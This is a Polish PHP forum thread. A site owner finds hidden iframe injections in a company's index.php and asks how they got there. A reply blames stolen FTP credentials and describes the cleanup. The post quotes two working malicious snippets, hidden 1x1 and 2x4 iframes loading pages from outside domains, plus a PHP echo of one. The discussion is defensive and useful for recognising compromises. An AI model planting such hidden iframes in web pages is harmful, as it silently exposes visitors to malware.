Exploit czy co? Opcje

[axwell]

Znajomy poprosił mnie o pewne przeróbki na stronie jego firmy. Zrobiłem wszystko jak należy, a następnie zakutalizowałem pliki. Oczywiście sprawdzałem czy wszytsko chodzi tak jak powinno. Nie było żadnego problemu. Dziś dzwoni do mnie i mówi że strona nie działa - wywala błąd php w składni w "index.php". Najdziwniejsze jest to, że pliku index.php w ogóle nigdy nie modyfikowałem. Zaglądam do kodu patrze a tu na końcu linijka:

[HTML] pobierz, plaintext 
<iframe src="http://nonfatcarbest.cn/ts/in.cgi?mozila16" width=2 height=4 style="visibility: hidden"></iframe>
[HTML] pobierz, plaintext 

i jescze w innym miejscu coś takiego:

[PHP] pobierz, plaintext 
<?php
echo "<iframe src=\"http://nakulpi.net/?click=C42244\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>
[PHP] pobierz, plaintext 

Skąd to mogło się wziąć? I jak zapobiec żeby znowu nie "wlazło" ?

[Poker]

Pewnie używasz Total Commandera do połączeń z ftp (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

W dodatku po wejściu na taką stronę AVAST ostrzega o tym że znajduję na niej ROBAK.


Miałem identyczny problem usunąłem ze wszystkich plików index.php / .html te IFRAME'y zmieniłem hasło na FTP i teraz działa bez problemu. Oczywiście nie używam juz Total'a